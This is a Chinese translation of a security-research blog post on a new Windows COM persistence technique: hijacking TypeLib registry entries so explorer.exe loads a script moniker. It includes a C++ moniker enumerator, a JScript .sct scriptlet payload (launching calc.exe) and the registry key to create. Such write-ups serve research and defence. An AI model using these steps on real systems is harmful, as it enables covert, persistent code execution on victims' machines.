新的 COM 持久性技术:劫持 TypeLib
本文转载自medium:https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661
攻击者使用各种方法在计算机上获取持久性:AutoRun 文件夹、计划任务、注册表项。但是,这些方法为防御者所熟知,这使得它们很容易被发现。
还有更奇特的持久性方法:Compromise Client Software Binary(例如 AppDomain 劫持)、Filter Handlers、Application Shimming、COM Hijacking。
即使保护系统配置正确,这些方法也很容易被检测到。
所以我决定寻找一些新的坚持方式。研究对象是 COM(组件对象模型)系统。这个选择不是偶然做出的,它是一个相当古老的、不太简单、不太复杂的系统,没有多少人理解。
在本文中,我将介绍 TypeLib 库,了解 TypeLib 和 COM 之间的关系,并使用 TypeLib 实现持久化代码执行。
TL;DR
已发现用于将 TypeLib 库加载到进程中的 LoadTypeLib() 函数会查看某些注册表项,以尝试发现目标库的路径。根据文档,如果函数检测到名字对象(COM 对象的字符串表示形式)而不是磁盘路径,则会在进程中加载和执行名字对象。
新的 COM 持久性技术-劫持 TypeLib
因此,如果 explorer.exe 调用 LoadTypeLib() 函数,并且我们劫持了名字对象所需的注册表项,则名字对象将在 explorer.exe 中实例化,并执行其代码。
我还将介绍我们创建的 TypeLibWalker 工具,用于检测可用于劫持的 TypeLib。
什么是 TypeLib?
COM 功能存在于特定文件中:DLL 库或 EXE,这并不是什么秘密。但是,从哪里可以找到有关特定 COM 类的文档?这就是 Microsoft 提出 TypeLib 的原因。
TypeLib 包含有关 COM 类的信息,这些信息位于一个文件中。在 TypeLib 中,您可以找到类、接口和方法描述的列表。
以编程方式,您可以使用ITypeLib和ITypeInfo接口与 TypeLib 进行交互。例如,在我们的COMThanasia存储库中,我们使用这些接口来接收有关特定 CLSID 的信息。
PS A:\ssd\gitrepo\COMThanasia\ClsidExplorer\x64\Debug> .\CLSIDExplorer.exe --clsid "{00000618-0000-0010-8000-00aa006d2ea4}"
[{00000618-0000-0010-8000-00aa006d2ea4}]
AppID: Unknown
ProgID: Unknown
PID: 1572
Process Name: CLSIDExplorer.exe
Username: WINPC\\Michael
Methods:
[0] __stdcall void QueryInterface(IN GUID*, OUT void**)
[1] __stdcall unsigned long AddRef()
[2] __stdcall unsigned long Release()
[3] __stdcall void GetTypeInfoCount(OUT unsigned int*)
[4] __stdcall void GetTypeInfo(IN unsigned int, IN unsigned long, OUT void**)
[5] __stdcall void GetIDsOfNames(IN GUID*, IN char**, IN unsigned int, IN unsigned long, OUT long*)
[6] __stdcall void Invoke(IN long, IN GUID*, IN unsigned long, IN unsigned short, IN DISPPARAMS*, OUT VARIANT*, OUT EXCEPINFO*, OUT unsigned int*)
[7] __stdcall BSTR Name()
[8] __stdcall void Name(IN BSTR)
[9] __stdcall RightsEnum GetPermissions(IN VARIANT, IN ObjectTypeEnum, IN VARIANT)
[10] __stdcall void SetPermissions(IN VARIANT, IN ObjectTypeEnum, IN ActionEnum, IN RightsEnum, IN InheritTypeEnum, IN VARIANT)
[11] __stdcall void ChangePassword(IN BSTR, IN BSTR)
[12] __stdcall Groups* Groups()
[13] __stdcall Properties* Properties()
[14] __stdcall _Catalog* ParentCatalog()
[15] __stdcall void ParentCatalog(IN _Catalog*)
[16] __stdcall void ParentCatalog(IN _Catalog*)
[END]
在代码中,我们定义了一个仅具有两个方法的 TypeLib 类,这足以提取 COM 类的函数签名。
您还可以使用TypeLibInfoTool探索 TypeLib 。
什么是moniker?
名字对象是 COM 对象的字符串表示形式。字面上与对象相同,只是作为一个简单的字符串。
更准确地说,名字对象是一种通过特殊名称来识别 COM 对象的方法。名字对象功能也可以在 DLL 中表示。
黑客使用很多名字来执行攻击任务。例如,LeakedWallpaper项目是一个针对 Windows 系统的 LPE 漏洞,它滥用了 Session Moniker。除此之外,还有Elevation Monikers可让您绕过 UAC。
还有常见的标记,但没有有趣的功能。那就是Class Moniker。Class Moniker 允许您通过 CLSID 启动 COM 对象,仅此而已。以下是 Class Moniker 的示例。
“clsid:a7b90590-36fd-11cf-857d-00aa006d2ea4:”
链接 COM 和 Typelib
COM 类如何链接到 TypeLib?在 COM 对象键内,有一个名为的键TypeLib。
例如,在本例中,有一个 CLSID 为 的 COM 对象{EAE50EB0-4A62-11CE-BED6-00AA00611080},它与 TypeLib ID 为 的 TypeLib 相关联{0D452EE1-E08F-101A-852E-02608C4D0BB4}。TypeLib 库的版本在键中定义Version。
HKCU\Software\Classes\TypeLib\<TypeLib ID>\<Version>
HKLM\Software\Classes\TypeLib\<TypeLib ID>\<Version>
# Ex
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0
发现 TypeLib 加载到 key 0->architecture ( win32/Win64)->路径上Default Value.
找到的路径被传递给 LoadTypeLib() 函数。这就是技巧所在。如果此函数收到名字对象作为输入,它将执行该名字对象。这样,我们可以劫持注册表中的值并强制进程执行我们的代码。唯一的困难是我们需要确定进程正在加载哪个 TypeLib 库。
选择正确的名字
假设我们已经学会了如何强制进程加载我们想要的名字。但是我们应该使用哪个名字呢?
于是,我开始研究。网络上没有现成的 Windows 名字对象列表。然而,这对研究人员来说什么时候是个问题呢?根据文档,名字对象是所有实现 IMoniker 接口的对象。而名字对象本身实际上与 COM 对象相同。是什么阻止我们创建一个对象,然后调用 QueryInterface() 并检查该对象是否具有 IMoniker 接口?没有!继续编写代码吧!
#include <windows.h>
#include <iostream>
#include <objbase.h>
#include <combaseapi.h>
#include <objidl.h>
#include <atlbase.h>
LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo)
{
std::wcout << "Wow!! Something had broken" << std::endl;
return EXCEPTION_CONTINUE_EXECUTION;
}
bool InitializeCOM() {
HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
return SUCCEEDED(hr);
}
bool DoesObjectImplementIMoniker(REFCLSID clsid) {
IMoniker* pMoniker = nullptr;
IUnknown* pUnknown = nullptr;
HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown);
if (SUCCEEDED(hr) && pUnknown) {
hr = pUnknown->QueryInterface(IID_IMoniker, (void**)&pMoniker);
if (SUCCEEDED(hr)) {
LPOLESTR wsclsid = nullptr;
hr = StringFromCLSID(clsid, &wsclsid);
if (SUCCEEDED(hr))
{
//std::wcout << L"CLSID:" << wsclsid << std::endl;
pMoniker->Release();
pUnknown->Release();
CoTaskMemFree(wsclsid);
return true;
}
}
pUnknown->Release();
}
return false;
}
void EnumerateAllCLSID() {
HKEY hKey;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t clsidStr[39];
DWORD index = 0;
DWORD size = sizeof(clsidStr) / sizeof(clsidStr[0]);
while (RegEnumKeyEx(hKey, index, clsidStr, &size, nullptr, nullptr, nullptr, nullptr) == ERROR_SUCCESS) {
CLSID clsid;
if (CLSIDFromString(clsidStr, &clsid) == S_OK) {
if (DoesObjectImplementIMoniker(clsid)) {
LPOLESTR wsclsid = nullptr;
HRESULT hr = StringFromCLSID(clsid, &wsclsid);
if (SUCCEEDED(hr))
{
std::wcout << L"Object with CLSID " << wsclsid << L" implements IMoniker" << std::endl;
}
}
}
index++;
size = sizeof(clsidStr) / sizeof(clsidStr[0]);
}
RegCloseKey(hKey);
}
}
int main() {
if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr)
{
std::wcout << L"[-] Failed to add the exception handler!" << std::endl;
return 1;
}
if (!InitializeCOM()) {
std::cerr << "Failed to initialize COM" << std::endl;
return 1;
}
EnumerateAllCLSID();
CoUninitialize();
return 0;
}
此代码从 HKCR 获取所有可用的 CLSID,然后检查对象上是否存在 IMoniker 接口。
实验发现,创建某些对象是不可能的,或者会导致进程崩溃。我在开发 COMThanasia 项目时遇到了这种行为。但是,我懒得修复此代码。我决定找出检测到的 CLSID 所特有的特性。
看看这个名字有多有趣?ClassMoniker。Moniker…..嗯…这真的是实现IMoniker接口的COM类的显著特征吗?
OleViewDotnet 有一个方便的功能,可以按名称对 CLSID 进行分组。我使用了这个功能,发现了许多实现名字对象的类。
在这些类的列表中,发现了一个名为“Moniker to Windows Script Component”的类。
在尝试查找 Windows Script Component 系统的示例文件时,我偶然发现了一个资源,其中描述了这些是基于 XML 的文件,其中包含操作。在这些文件中,支持脚本标记,您可以在其中指定 JScript 代码。
<?XML version="1.0"?>
<package>
<?component error="true" debug="true"?>
<comment>
This skeleton shows how script component elements are
assembled into a .wsc file.
</comment>
<component id="MyScriptlet">
<registration
progid="progID"
description="description"
version="version"
clsid="{00000000-0000-0000-000000000000}"/>
<reference object="progID">
<public>
<property name="propertyname"/>
<method name="methodname"/>
<event name="eventname"/>
</public>
<implements type=COMhandlerName id=internalName>
(interface-specific definitions here)
</implements>
<script language="VBScript">
<![CDATA[
dim propertyname
Function methodname()
' Script here.
End Function
]]>
</script>
<script language="JScript">
<![CDATA[
function get_propertyname()
{ // Script here.
}
function put_propertyname(newValue)
{ // Script here.
fireEvent(eventname)
}
]]>
</script>
<object id="objID" classid="clsid:00000000-0000-0000-000000000000">
<resource ID="resourceID1">string or number here</resource>
<resource ID="resourceID2">string or number here</resource>
</component>
</package>
我们可以删除一些细节,只留下有用的 JScript payload。我从这里得到了 payload 的基础。
<?xml version= "1.0" ?>
< scriptlet >
< Registration
description = "CICADA8 RESEARCH"
progid = "CICADA8"
version = "1.0" >
</ Registration >
< script language = "JScript" >
<![CDATA[
var WShell = new ActiveXObject("WScript.Shell");
WShell.Run("calc.exe");
]]>
</ script >
</ scriptlet >
如果我们使用脚本名字对象指向此文件,则名字对象的创建将导致进程运行。
找到合适的目标
剩下的就是检测一个加载了我们可以篡改的库的进程。我打开了进程监视器,添加了过滤器……发现 explorer.exe 一直在尝试加载一些 TypeLib 库!
让我们以结果中具有 NAME NOT FOUND 状态的路径为例。
即 HKCU\Software\Classes\TypeLib{EAB22AC0–30C1–11CF-A7EB-0000C05BAE0B}\1.1。如你所见,没有这样的路径。让我们创建一个。
我们要做的就是通过指定 .sct 文件的路径来恢复该路径。
下次我们启动或关闭 explorer.exe 进程时,我们的代码就会被执行。explorer.exe 是一个在系统启动时自动启动的进程,所以我们又找到了另一种方法来获得持久性!
Typelib行者
但是,如果您不想坐在 Process Monitor 前,那么您可以尝试劫持所有您有写入权限的 Typelib。TypeLibWalker工具允许您自动检测可能被劫持的易受攻击的注册表项。
该程序还会检查磁盘路径的写入权限。您可以将后门留在合法的 TypeLib 库中。